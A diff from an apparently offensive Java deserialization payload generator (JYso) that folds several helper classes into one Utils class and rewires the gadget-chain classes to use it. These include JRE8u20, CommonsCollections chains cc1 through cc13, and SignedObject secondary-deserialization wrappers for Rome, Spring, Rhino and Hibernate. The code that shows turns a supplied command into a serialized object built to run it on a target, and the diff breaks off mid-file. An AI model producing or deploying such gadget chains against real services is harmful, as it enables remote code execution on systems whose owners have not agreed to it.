@@ -88,7 +88,7 @@ public class JRE8u20 implements ObjectPayload<Object> {
|
|||||||
hashsetData.addData(1.0F, true);
|
hashsetData.addData(1.0F, true);
|
||||||
hashsetData.addData(2, true);
|
hashsetData.addData(2, true);
|
||||||
hashsetData.addData(templates);
|
hashsetData.addData(templates);
|
||||||
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
|
TCObject proxy = com.qi4l.JYso.gadgets.utils.Utils.makeProxy(new Class[]{Map.class}, handler, ser);
|
||||||
hashsetData.addData(proxy);
|
hashsetData.addData(proxy);
|
||||||
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
|
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
|
||||||
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
|
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.utils.ByteUtil;
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.Serializer;
|
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||||
@@ -64,9 +63,9 @@ public class JRE8u20_2 implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71};
|
byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71};
|
||||||
|
|
||||||
int i = ByteUtil.getSubarrayIndex(ser, shoudReplace);
|
int i = com.qi4l.JYso.gadgets.utils.Utils.getSubarrayIndex(ser, shoudReplace);
|
||||||
ser = ByteUtil.deleteAt(ser, i); // delete 0x78
|
ser = com.qi4l.JYso.gadgets.utils.Utils.deleteAt(ser, i); // delete 0x78
|
||||||
ser = ByteUtil.deleteAt(ser, i); // delete 0x70
|
ser = com.qi4l.JYso.gadgets.utils.Utils.deleteAt(ser, i); // delete 0x70
|
||||||
|
|
||||||
return ser;
|
return ser;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ package com.qi4l.JYso.gadgets;
|
|||||||
import com.qi4l.JYso.LdapServer;
|
import com.qi4l.JYso.LdapServer;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
|
||||||
import org.reflections.Reflections;
|
import org.reflections.Reflections;
|
||||||
|
|
||||||
import java.lang.reflect.Modifier;
|
import java.lang.reflect.Modifier;
|
||||||
@@ -81,7 +80,7 @@ public interface ObjectPayload<T> {
|
|||||||
public static List<String> getPayloadTableLines() {
|
public static List<String> getPayloadTableLines() {
|
||||||
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
|
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
|
||||||
new ArrayList<>(getPayloadClasses());
|
new ArrayList<>(getPayloadClasses());
|
||||||
payloadClasses.sort(new StringUtil.ToStringComparator());
|
payloadClasses.sort(new com.qi4l.JYso.gadgets.utils.Utils.ToStringComparator());
|
||||||
|
|
||||||
final List<String[]> rows = new LinkedList<>();
|
final List<String[]> rows = new LinkedList<>();
|
||||||
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||||
@@ -89,12 +88,12 @@ public interface ObjectPayload<T> {
|
|||||||
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
|
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
|
||||||
rows.add(new String[]{
|
rows.add(new String[]{
|
||||||
payloadClass.getSimpleName(),
|
payloadClass.getSimpleName(),
|
||||||
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
com.qi4l.JYso.gadgets.utils.Utils.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||||
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
com.qi4l.JYso.gadgets.utils.Utils.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
return StringUtil.formatTable(rows);
|
return com.qi4l.JYso.gadgets.utils.Utils.formatTable(rows);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -2,7 +2,6 @@ package com.qi4l.JYso.gadgets;
|
|||||||
|
|
||||||
import cn.hutool.core.comparator.PropertyComparator;
|
import cn.hutool.core.comparator.PropertyComparator;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.SignedObjectUtils;
|
|
||||||
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
||||||
import com.sun.syndication.feed.impl.ObjectBean;
|
import com.sun.syndication.feed.impl.ObjectBean;
|
||||||
import org.apache.commons.beanutils.BeanComparator;
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
@@ -147,7 +146,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
// CC 无数组二次反序列化
|
// CC 无数组二次反序列化
|
||||||
public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception {
|
public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||||
|
|
||||||
Map<?,?> old = new HashMap<>();
|
Map<?,?> old = new HashMap<>();
|
||||||
Transformer invoke = new InvokerTransformer("toString", null, null);
|
Transformer invoke = new InvokerTransformer("toString", null, null);
|
||||||
@@ -163,7 +162,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
// CC4 无 TiedMapEntry 二次反序列化
|
// CC4 无 TiedMapEntry 二次反序列化
|
||||||
public Object getSignedObjectWithCC4(Object serObj) throws Exception {
|
public Object getSignedObjectWithCC4(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||||
|
|
||||||
org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]);
|
org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]);
|
||||||
TransformingComparator comp = new TransformingComparator<>(transformer);
|
TransformingComparator comp = new TransformingComparator<>(transformer);
|
||||||
@@ -175,7 +174,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
// CB 二次反序列化
|
// CB 二次反序列化
|
||||||
public Object getSignedObjectWithCB(Object serObj) throws Exception {
|
public Object getSignedObjectWithCB(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||||
|
|
||||||
final BeanComparator<?> comparator = new BeanComparator<>("lowestSetBit");
|
final BeanComparator<?> comparator = new BeanComparator<>("lowestSetBit");
|
||||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator<? super Object>) comparator);
|
final PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator<? super Object>) comparator);
|
||||||
@@ -189,7 +188,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
// Hibernate 二次反序列化
|
// Hibernate 二次反序列化
|
||||||
public Object getSignedObjectWithHibernate(Object serObj) throws Exception {
|
public Object getSignedObjectWithHibernate(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||||
Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject");
|
Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject");
|
||||||
return Hibernate1.makeCaller(obj, getters);
|
return Hibernate1.makeCaller(obj, getters);
|
||||||
}
|
}
|
||||||
@@ -197,7 +196,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
// Rome 二次反序列化
|
// Rome 二次反序列化
|
||||||
public Object getSignedObjectWithRome(Object serObj) throws Exception {
|
public Object getSignedObjectWithRome(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||||
ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj);
|
ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj);
|
||||||
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
||||||
return makeMap(root, root);
|
return makeMap(root, root);
|
||||||
@@ -206,7 +205,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
// Spring-Core 二次反序列化
|
// Spring-Core 二次反序列化
|
||||||
public Object getSignedObjectWithSpring(Object serObj) throws Exception {
|
public Object getSignedObjectWithSpring(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||||
ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class);
|
ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class);
|
||||||
Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
|
Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
|
||||||
Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
||||||
@@ -219,7 +218,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
// Rhino 二次反序列化
|
// Rhino 二次反序列化
|
||||||
public Object getSignedObjectWithRhino(Object serObj) throws Exception {
|
public Object getSignedObjectWithRhino(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||||
ScriptableObject dummyScope = new Environment();
|
ScriptableObject dummyScope = new Environment();
|
||||||
Map<Object, Object> associatedValues = new Hashtable<>();
|
Map<Object, Object> associatedValues = new Hashtable<>();
|
||||||
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
||||||
|
|||||||
@@ -53,6 +53,7 @@ public @interface Authors {
|
|||||||
String KILLER = "killer";
|
String KILLER = "killer";
|
||||||
|
|
||||||
String UNAM4 = "Unam4";
|
String UNAM4 = "Unam4";
|
||||||
|
|
||||||
String JIECUB3 = "jiecub3";
|
String JIECUB3 = "jiecub3";
|
||||||
|
|
||||||
String JSJCW = "jsjcw";
|
String JSJCW = "jsjcw";
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
|
|||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
|
||||||
import org.apache.commons.collections.Transformer;
|
import org.apache.commons.collections.Transformer;
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
@@ -50,7 +50,7 @@ public class cc1 implements ObjectPayload<Object> {
|
|||||||
final Transformer transformerChain = new ChainedTransformer(
|
final Transformer transformerChain = new ChainedTransformer(
|
||||||
new Transformer[]{new ConstantTransformer(1)});
|
new Transformer[]{new ConstantTransformer(1)});
|
||||||
// real chain for after setup
|
// real chain for after setup
|
||||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||||
|
|
||||||
return get_CC_Sink(transformerChain, transformers);
|
return get_CC_Sink(transformerChain, transformers);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
|
|||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
|
||||||
import org.apache.commons.collections.Transformer;
|
import org.apache.commons.collections.Transformer;
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
@@ -23,7 +23,7 @@ public class cc12 implements ObjectPayload<Object> {
|
|||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
final Transformer transformerChain = new ChainedTransformer(
|
final Transformer transformerChain = new ChainedTransformer(
|
||||||
new Transformer[]{new ConstantTransformer(1)});
|
new Transformer[]{new ConstantTransformer(1)});
|
||||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||||
final Map innerMap = new HashMap();
|
final Map innerMap = new HashMap();
|
||||||
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
|
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
|
|||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
|
||||||
import org.apache.commons.collections.Transformer;
|
import org.apache.commons.collections.Transformer;
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
import org.apache.commons.collections.functors.ConstantFactory;
|
import org.apache.commons.collections.functors.ConstantFactory;
|
||||||
@@ -20,7 +20,7 @@ import java.util.Map;
|
|||||||
public class cc13 implements ObjectPayload<Object> {
|
public class cc13 implements ObjectPayload<Object> {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||||
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
|
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
|
||||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, 1);
|
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, 1);
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
|
|||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
|
||||||
import org.apache.commons.collections.Transformer;
|
import org.apache.commons.collections.Transformer;
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
@@ -52,7 +52,7 @@ public class cc5 implements ObjectPayload<BadAttributeValueExpException> {
|
|||||||
final Transformer transformerChain = new ChainedTransformer(
|
final Transformer transformerChain = new ChainedTransformer(
|
||||||
new Transformer[]{new ConstantTransformer(1)});
|
new Transformer[]{new ConstantTransformer(1)});
|
||||||
// real chain for after setup
|
// real chain for after setup
|
||||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||||
final Map innerMap = new HashMap();
|
final Map innerMap = new HashMap();
|
||||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
|
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ package com.qi4l.JYso.gadgets;
|
|||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
|
||||||
import org.apache.commons.collections.Transformer;
|
import org.apache.commons.collections.Transformer;
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
@@ -37,7 +37,7 @@ import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6;
|
|||||||
public class cc6 implements ObjectPayload<Serializable> {
|
public class cc6 implements ObjectPayload<Serializable> {
|
||||||
public Serializable getObject(String command) throws Exception {
|
public Serializable getObject(String command) throws Exception {
|
||||||
|
|
||||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||||
|
|
||||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
|
|||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
|
||||||
import org.apache.commons.collections.Transformer;
|
import org.apache.commons.collections.Transformer;
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
@@ -24,7 +24,7 @@ public class cc7 implements ObjectPayload<Hashtable> {
|
|||||||
|
|
||||||
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
|
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
|
||||||
|
|
||||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||||
|
|
||||||
Map innerMap1 = new HashMap();
|
Map innerMap1 = new HashMap();
|
||||||
Map innerMap2 = new HashMap();
|
Map innerMap2 = new HashMap();
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
|
|||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
|
||||||
import org.apache.commons.collections.Transformer;
|
import org.apache.commons.collections.Transformer;
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
@@ -23,7 +23,7 @@ public class cc9 implements ObjectPayload<BadAttributeValueExpException> {
|
|||||||
public BadAttributeValueExpException getObject(String command) throws Exception {
|
public BadAttributeValueExpException getObject(String command) throws Exception {
|
||||||
|
|
||||||
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
|
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
|
||||||
Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||||
Map<Object, Object> innerMap = new HashMap<>();
|
Map<Object, Object> innerMap = new HashMap<>();
|
||||||
Map defaultedmap = DefaultedMap.decorate(innerMap, chainedTransformer);
|
Map defaultedmap = DefaultedMap.decorate(innerMap, chainedTransformer);
|
||||||
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L");
|
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L");
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
|
|||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
|
||||||
import org.apache.commons.collections.Transformer;
|
import org.apache.commons.collections.Transformer;
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
@@ -20,7 +20,7 @@ public class cck3 implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
|
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
|
||||||
Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||||
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
|
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
|
||||||
Map innerMap = new HashMap();
|
Map innerMap = new HashMap();
|
||||||
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
|
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
|
|||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
|
||||||
import org.apache.commons.collections4.Transformer;
|
import org.apache.commons.collections4.Transformer;
|
||||||
import org.apache.commons.collections4.functors.ChainedTransformer;
|
import org.apache.commons.collections4.functors.ChainedTransformer;
|
||||||
import org.apache.commons.collections4.functors.ConstantTransformer;
|
import org.apache.commons.collections4.functors.ConstantTransformer;
|
||||||
@@ -20,7 +20,7 @@ public class cck4 implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
|
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
|
||||||
Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
|
Transformer[] transformers = (Transformer[]) com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||||
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
|
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
|
||||||
Map innerMap = new HashMap();
|
Map innerMap = new HashMap();
|
||||||
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
|
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
|
||||||
|
|||||||
@@ -1,35 +0,0 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils;
|
|
||||||
|
|
||||||
public class ByteUtil {
|
|
||||||
public static int getSubarrayIndex(byte[] haystack, byte[] needle) {
|
|
||||||
outer:
|
|
||||||
for (int i = 0; i <= haystack.length - needle.length; ++i) {
|
|
||||||
for (int j = 0; j < needle.length; ++j) {
|
|
||||||
if (haystack[i + j] != needle[j]) {
|
|
||||||
continue outer;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return i;
|
|
||||||
}
|
|
||||||
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static byte[] deleteAt(byte[] bs, int index) {
|
|
||||||
int length = bs.length - 1;
|
|
||||||
byte[] ret = new byte[length];
|
|
||||||
|
|
||||||
if (index == bs.length - 1) {
|
|
||||||
System.arraycopy(bs, 0, ret, 0, length);
|
|
||||||
} else if (index < bs.length - 1) {
|
|
||||||
for (int i = index; i < length; i++) {
|
|
||||||
bs[i] = bs[i + 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
System.arraycopy(bs, 0, ret, 0, length);
|
|
||||||
}
|
|
||||||
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -1,34 +0,0 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils;
|
|
||||||
|
|
||||||
import java.io.EOFException;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.InputStream;
|
|
||||||
|
|
||||||
public class HexUtils {
|
|
||||||
|
|
||||||
public static byte[] toByteArray(InputStream in) throws IOException {
|
|
||||||
byte[] classBytes;
|
|
||||||
classBytes = new byte[in.available()];
|
|
||||||
int bytesRead = in.read(classBytes);
|
|
||||||
if (bytesRead == -1) {
|
|
||||||
throw new EOFException("流已结束,未读取到数据");
|
|
||||||
}
|
|
||||||
in.close();
|
|
||||||
return classBytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String bytesToHexString(byte[] bArray, int length) {
|
|
||||||
StringBuilder sb = new StringBuilder(length);
|
|
||||||
|
|
||||||
for (int i = 0; i < length; ++i) {
|
|
||||||
String sTemp = Integer.toHexString(255 & bArray[i]);
|
|
||||||
if (sTemp.length() < 2) {
|
|
||||||
sb.append(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
sb.append(sTemp.toUpperCase());
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -1,25 +0,0 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils;
|
|
||||||
|
|
||||||
